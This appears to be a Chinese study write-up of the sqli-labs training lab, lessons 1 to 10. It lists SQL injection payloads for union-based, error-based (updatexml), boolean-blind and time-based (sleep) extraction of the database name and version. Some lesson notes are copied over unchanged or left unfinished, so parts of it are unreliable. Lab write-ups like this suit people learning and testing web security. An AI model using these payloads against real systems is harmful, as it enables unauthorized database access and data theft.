sqli --【1--10】
Less-1(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(字符注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-2(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-3(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-4(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-5(错误注入)
1.无显示
2.有错误
3.使用错误注入
Less-6(错误注入)
1.无显示
2.有错误
3.使用错误注入
Less-7(读写文件)
1.查看是否有回显
Less-8(布尔盲注)
1.没有回显
2.没有报错
3.布尔盲注获取数据库名
4.计算数据库名字的位数
5.猜测每一位
Less-9(延时注入--1‘)
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-10(延时注入--1“)
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-1(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(字符注入)
3.1判断其列数
?2' order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-2(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(数字型注入)
3.1判断其列数
?2' order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-3(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(数字型注入)
3.1判断其列数
?2') order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2') and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2') and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-4(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2"

3.使用联合查询(数字型注入)
3.1判断其列数
?2") order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2") and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2") and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-5(错误注入)
1.无显示

2.有错误

3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-6(错误注入)
1.无显示

2.有错误

3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-7(读写文件)
1.查看是否有回显
根据 Use outfile判断,此处使用写入文件的方式

2.
Less-8(布尔盲注)
1.没有回显

2.没有报错

3.布尔盲注获取数据库名
?id=2' and database()='ajest' --+ 没有显示,成本太高

4.计算数据库名字的位数
?id=2' and length(database())>0 --+ ?id=2' and length(database())=8 --+ 显示八位


5.猜测每一位
?id=2' and ascii(substr((select database()),1,1))=115 --+
115 s
101 e
99 c
117 u
114 r
105 i
116 t
121 y
数据库:security

Less-9(延时注入--1‘)
1.没有回显
?id=1

2.没有报错
?id=1'

3.使用延时注入
?id=1' and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位

4.分别查看每一位
?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 :5.7.26






Less-10(延时注入--1“)
1.没有回显
?id=1

2.没有报错
?id=1"

3.使用延时注入
?id=1" and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位

4.分别查看每一位
?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 :5.7.26

相关文章:
sqli --【1--10】
Less-1(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用联合查询(字符注入) 3.1判断其列数 3.2 判断显示位置 3.3敏感信息查询 Less-2(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用…...
《自然语言处理(NLP)的最新进展:Transformers与GPT-4的浅析》
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...
Wireshark 用命令行分析数据包
1,那些情况需要使用命令行 Wireshark一次性提供了太多的信息。使用命令行工具可以限制打印出的信息,最后只显示相关数据,比如用单独一行来显示IP地址。命令行工具适用于过滤数据包捕获文件,并提供结果给另一个支持UNIX管道的工具…...
LVS DR模式负载均衡群集部署
目录 1 LVS-DR 模式的特点 1.1 数据包流向分析 1.2 DR 模式的特点 2 DR模式 LVS负载均衡群集部署 2.1 配置负载调度器 2.1.1 配置虚拟 IP 地址 2.1.2 调整 proc 响应参数 2.1.3 配置负载分配策略 2.2 部署共享存储 2.3 配置节点服务器 2.3.1 配置虚拟 IP 地址 2.3.2…...
探讨前后端分离开发的优势、实践以及如何实现更好的用户体验?
随着互联网技术的迅猛发展,前后端分离开发已经成为现代软件开发的一种重要趋势。这种开发模式将前端和后端的开发工作分开,通过清晰的接口协议进行通信,旨在优化开发流程、提升团队协作效率,并最终改善用户体验。本文将深入探讨前…...
微博一面:JVM预热,你的方案是啥?
说在前面 在40岁老架构师 尼恩的读者社区(50)中,最近有小伙伴拿到了一线互联网企业如微博、阿里、汽车之家、极兔、有赞、希音、百度、网易、滴滴的面试资格,遇到一几个很重要的面试题: JVM预热,你的方案是啥?Springb…...
open与fopen的区别
1. 来源 从来源的角度看,两者能很好的区分开,这也是两者最显而易见的区别: open是UNIX系统调用函数(包括LINUX等),返回的是文件描述符(File Descriptor),它是文件在文件…...
Unity记录一些glsl和hlsl的着色器Shader逆向代码
以下内容一般基于 GLSL 300 之后 以下某些代码行,是“伪代码“,绝大部分是renderDoc 逆向产生标准代码 本人OpenlGL零基础,也不打算重头学 目录 Clip() 剔除函数 discard; FS最终颜色输出 out 和最终颜色相加方程…...
基于Sentinel的微服务保护
前言 Sentinel是Alibaba开源的一款微服务流控组件,用于解决分布式应用场景下服务的稳定性问题。Sentinel具有丰富的应用场景,它基于流量提供一系列的服务保护措施,例如多线程秒杀情况下的系统承载,并发访问下的流量控制ÿ…...
Collectors类作用:
一、Collectors类: 1.1、Collectors介绍 Collectors类,是JDK1.8开始提供的一个的工具类,它专门用于对Stream操作流中的元素各种处理操作,Collectors类中提供了一些常用的方法,例如:toList()、toSet()、to…...
LASSO回归
LASSO回归 LASSO(Least Absolute Shrinkage and Selection Operator,最小绝对值收敛和选择算子算法)是一种回归分析技术,用于变量选择和正则化。它由Robert Tibshirani于1996年提出,作为传统最小二乘回归方法的替代品。 损失函数 1.线性回…...
机器学习中的 K-均值聚类算法及其优缺点。
K-均值聚类算法是一种常见的无监督学习算法,它可以将数据集分成 K 个簇,每个簇内部的数据点尽可能相似,而不同簇之间的数据点应尽可能不同。下面详细讲解 K-均值聚类算法的优缺点: 优点: 简单易用:K-均值…...
云计算与虚拟化
一、概念 什么是云计算? 云计算(cloud computing)是分布式计算的一种,指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序,然后,通过多部服务器组成的系统进行处理和分析这些小程序得到结果…...
Linux常见进程类别
目录 常见进程类别 守护进程&精灵进程 任务管理 进程组 作业 作业 | 进程组 会话 w命令 守护进程 守护进程的创建 setsid()函数 daemon()函数 模拟实现daemon函数 前台进程 | 后台进程 僵尸进程 | 孤儿进程 僵尸进程的一些细节 守护进程 | 后台进程 守护…...
智能小车之蓝牙控制并测速小车、wife控制小车、4g控制小车、语音控制小车
目录 1. 蓝牙控制小车 2. 蓝牙控制并测速小车 3. wifi控制测速小车 4. 4g控制小车 5. 语音控制小车 1. 蓝牙控制小车 使用蓝牙模块,串口透传蓝牙模块,又叫做蓝牙串口模块 串口透传技术: 透传即透明传送,是指在数据的传输过…...
指针进阶(一)
指针进阶 1. 字符指针面试题 2. 指针数组3. 数组指针3.1 数组指针的定义3.2 &数组名VS数组名 3.3 数组指针的使用4. 数组传参和指针传参4.1 一维数组传参4.2 二维数组传参4.3 一级指针传参4.4 二级指针传参 前言 指针的主题,我们在初级阶段的《指针》章节已经接…...
c# sql 判断表中是否包含指定字段
你可以使用以下方法来判断一个 SQL 数据库中的表是否包含指定的字段。 首先,你需要连接到数据库,然后执行一条 SQL 查询语句来检查表结构。你可以使用 SELECT 语句和 INFORMATION_SCHEMA.COLUMNS 系统视图来获取表中的所有列信息。 下面是一个示例代码…...
08-JVM垃圾收集器详解
上一篇:07-垃圾收集算法详解 如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现。 虽然我们对各个收集器进行比较,但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现,更加没…...
sql_mode详解
文章目录 一、sql_mode作用二、查询sql_mode三、mysql8默认的mode配置(6个默认配置)四、常见mode详细解释mysql8默认配置了的mode(6个)需要自己配置的mode(4个) 五、设置sql_mode(一旦设置了&am…...
Vue3的新特性总结
一、Vue3 里 script 的三种写法 首先,Vue3 新增了一个叫做组合式 api 的东西,英文名叫 Composition API。因此 Vue3 的 script 现在支持三种写法。 1、最基本的 Vue2 写法 <template><div>{{ count }}</div><button click"…...
网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...
Vim 调用外部命令学习笔记
Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
